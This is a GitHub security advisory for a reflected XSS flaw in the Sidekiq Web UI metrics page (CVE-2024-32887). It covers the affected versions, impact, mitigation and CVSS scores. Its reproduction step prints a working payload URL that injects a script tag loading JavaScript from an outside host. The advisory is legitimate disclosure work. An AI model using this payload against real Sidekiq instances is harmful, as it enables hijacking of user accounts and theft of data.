Skip to content

Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Moderate severity GitHub Reviewed Published Apr 26, 2024 in sidekiq/sidekiq • Updated May 1, 2024

Package

bundler sidekiq (RubyGems)

Affected versions

>= 7.2.0, < 7.2.4

Patched versions

7.2.4

Description

Description:

During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

Impact:

The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

Mitigation:

Encode all output data before rendering it in the response to prevent XSS attacks.

Steps to Reproduce:

  1. Go to the following URL of the sidekiq Web UI:
    https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
  2. XSS payload will be executed, causing a popup.

Evidence:

image
Figure 1: Source Code Vulnerable to XSS

image
Figure 2: XSS payload triggered

References

@mperham mperham published to sidekiq/sidekiq Apr 26, 2024
Published by the National Vulnerability Database Apr 26, 2024
Published to the GitHub Advisory Database Apr 26, 2024
Reviewed Apr 26, 2024
Last updated May 1, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-32887

GHSA ID

GHSA-q655-3pj8-9fxq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.